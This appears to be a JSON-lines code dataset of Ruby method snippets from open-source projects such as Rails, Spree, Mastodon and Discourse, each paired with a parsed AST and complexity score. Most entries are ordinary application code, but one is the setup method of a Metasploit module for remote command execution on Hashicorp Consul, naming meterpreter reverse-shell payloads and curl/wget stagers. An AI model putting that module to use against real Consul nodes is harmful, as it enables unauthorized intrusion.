{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":875,"raw_source":"def test_render_action_hello_world_as_string\n    get :render_action_hello_world_as_string\n    assert_equal \"Hello world!\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_action_hello_world_as_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_action_hello_world_as_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello world!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"d0ecae14-a644-475b-8902-fe43459b19d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/issues/user_sorts_issue_comments_spec.rb","start_line":91,"raw_source":"def add_comment(text)\n    fill_in 'Add a reply', with: text\n    click_button 'Comment'\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Add a reply\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Comment\"]}]}]}]}","id":"4f146035-8126-465e-947b-baae0252f8de"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/consul_service_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Hashicorp Consul Remote Command Execution via Services API',\n        'Description' => %q{\n          This module exploits Hashicorp Consul's services API to gain remote command\n          execution on Consul nodes.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC\n          'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC\n          'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module\n          'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module\n        ],\n        'References' => [\n          [ 'URL', 'https://www.consul.io/api/agent/service.html' ],\n          [ 'URL', 'https://github.com/torque59/Garfield' ]\n        ],\n        'Targets' => [\n          [\n            'Linux',\n            {\n              'Platform' => 'linux',\n              'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],\n              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Windows',\n            {\n              'Platform' => 'win',\n              'CmdStagerFlavor' => 'psh_invokewebrequest',\n              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }\n            }\n          ]\n        ],\n        'Payload' => {},\n        'Privileged' => false,\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2018-08-11',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path', '/']),\n        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),\n        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),\n        Opt::RPORT(8500)\n      ]\n    )\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Hashicorp Consul Remote Command Execution via Services API\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits Hashicorp Consul's services API to gain remote command\\n\"]},{\"type\":\"str\",\"children\":[\"          execution on Consul nodes.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Francis Alexander <helofrancis[at]gmail.com >\"]},{\"type\":\"str\",\"children\":[\"Quentin Kaiser <kaiserquentin[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Matthew Lucas <mattglucas97[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.consul.io/api/agent/service.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/torque59/Garfield\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bourne\"]},{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"curl\"]},{\"type\":\"str\",\"children\":[\"wget\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x86/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"str\",\"children\":[\"psh_invokewebrequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-08-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL/TLS for outgoing connections\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ACL_TOKEN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Consul Agent ACL token\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8500]}]}]}]}]}]}","id":"69a5f303-6404-4377-99e2-e94e0b3a5804"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/app/models/assignment.rb","start_line":86,"raw_source":"def deactivate!\n    update!(active: false)\n    Jobs.enqueue(\n      :unassign_notification,\n      topic_id: topic_id,\n      assigned_to_id: assigned_to_id,\n      assigned_to_type: assigned_to_type,\n      assignment_id: id,\n    )\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"deactivate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"unassign_notification\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"send\",\"children\":[null,\"assigned_to_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to_type\"]},{\"type\":\"send\",\"children\":[null,\"assigned_to_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignment_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}","id":"ab475e7b-419b-4a7b-9ebb-4849911b4cc5"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/prioritizer.rb","start_line":47,"raw_source":"def hash_item(item)\n        shipment = item.inventory_unit.shipment\n        variant  = item.inventory_unit.variant\n        if shipment.present?\n          variant.hash ^ shipment.hash\n        else\n          variant.hash\n        end\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shipment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"inventory_unit\"]},\"shipment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"variant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"inventory_unit\"]},\"variant\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"hash\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"hash\"]}]}]}]}","id":"685373c2-cd1c-4f19-a429-4159fb8d069c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":213,"raw_source":"def blob_list\n    tree = lookup_commit_tree\n    return [] unless tree\n\n    [].tap do |blobs|\n      tree.walk_blobs(:preorder) { |root, entry| blobs << \"#{root}#{entry[:name]}\" }\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"blob_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[null,\"lookup_commit_tree\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blobs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"walk_blobs\",{\"type\":\"sym\",\"children\":[\"preorder\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blobs\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}","id":"baeb4b72-2e13-482f-907a-b46b109d5c24"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/reverse_geocoding/places/fetch_data.rb","start_line":35,"raw_source":"def update_place(reverse_geocoded_place)\n    return if reverse_geocoded_place.nil?\n\n    data = reverse_geocoded_place.data\n\n    place.update!(\n      name:       place_name(data),\n      lonlat:     build_point_coordinates(data['geometry']['coordinates']),\n      city:       data['properties']['city'],\n      country:    data['properties']['country'],\n      geodata:    data,\n      source:     Place.sources[:photon],\n      reverse_geocoded_at: Time.current\n    )\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_place\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reverse_geocoded_place\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reverse_geocoded_place\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reverse_geocoded_place\"]},\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"place\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"place_name\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"send\",\"children\":[null,\"build_point_coordinates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"geometry\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"coordinates\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"city\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"city\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"country\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"geodata\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Place\"]},\"sources\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"photon\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_geocoded_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}","id":"2d4326f2-466f-4448-afd1-6937be2779de"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/service.rb","start_line":49,"raw_source":"def default_logger\n          @default_logger ||= Logger.new($stdout)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]}]}","id":"8b163702-42da-4f65-b9ee-2d4cc492f761"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/user_invitation.rb","start_line":59,"raw_source":"def self.create(client: nil, email: nil, first_name: nil, last_name: nil, roles: [], provisioning_allowed: nil, all_apps_visible: nil, visible_app_ids: [])\n        client ||= Spaceship::ConnectAPI\n        resp = client.post_user_invitation(\n          email: email,\n          first_name: first_name,\n          last_name: last_name,\n          roles: roles,\n          provisioning_allowed: provisioning_allowed,\n          all_apps_visible: all_apps_visible,\n          visible_app_ids: visible_app_ids\n        )\n        return resp.to_models.first\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"email\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"first_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"last_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"roles\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"provisioning_allowed\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"all_apps_visible\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"visible_app_ids\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"post_user_invitation\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"lvar\",\"children\":[\"first_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"lvar\",\"children\":[\"last_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"lvar\",\"children\":[\"roles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provisioning_allowed\"]},{\"type\":\"lvar\",\"children\":[\"provisioning_allowed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_apps_visible\"]},{\"type\":\"lvar\",\"children\":[\"all_apps_visible\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible_app_ids\"]},{\"type\":\"lvar\",\"children\":[\"visible_app_ids\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"to_models\"]},\"first\"]}]}]}]}","id":"f74d9273-f474-4179-9e8b-db4a7a429323"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/store_credit_types_controller.rb","start_line":12,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.platform_store_credit_type_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_store_credit_type_serializer\"]},\"constantize\"]}]}","id":"ff525ae9-7f9f-4f64-beda-3f6f46b7585c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/comment_test.rb","start_line":80,"raw_source":"def test_add_column_with_comment_later\n      @connection.add_column :commenteds, :rating, :integer, comment: \"I am running out of imagination\"\n      Commented.reset_column_information\n      column = Commented.columns_hash[\"rating\"]\n\n      assert_equal :integer, column.type\n      assert_equal \"I am running out of imagination\", column.comment\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_column_with_comment_later\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_column\",{\"type\":\"sym\",\"children\":[\"commenteds\"]},{\"type\":\"sym\",\"children\":[\"rating\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"I am running out of imagination\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commented\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commented\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rating\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"I am running out of imagination\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"comment\"]}]}]}]}","id":"e0e10a3a-a722-44d4-8ca3-e010b5acb923"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20200518083523_create_encrypted_messages.rb","start_line":4,"raw_source":"def change\n    create_table :encrypted_messages do |t|\n      t.references :device, foreign_key: { on_delete: :cascade }\n      t.references :from_account, foreign_key: { to_table: :accounts, on_delete: :cascade }\n      t.string :from_device_id, default: '', null: false\n      t.integer :type, default: 0, null: false\n      t.text :body, default: '', null: false\n      t.text :digest, default: '', null: false\n      t.text :message_franking, default: '', null: false\n\n      t.timestamps\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"encrypted_messages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"device\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"from_account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"from_device_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"message_franking\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"d305bb57-0e2c-40ef-9816-b9e2f8dfb906"}
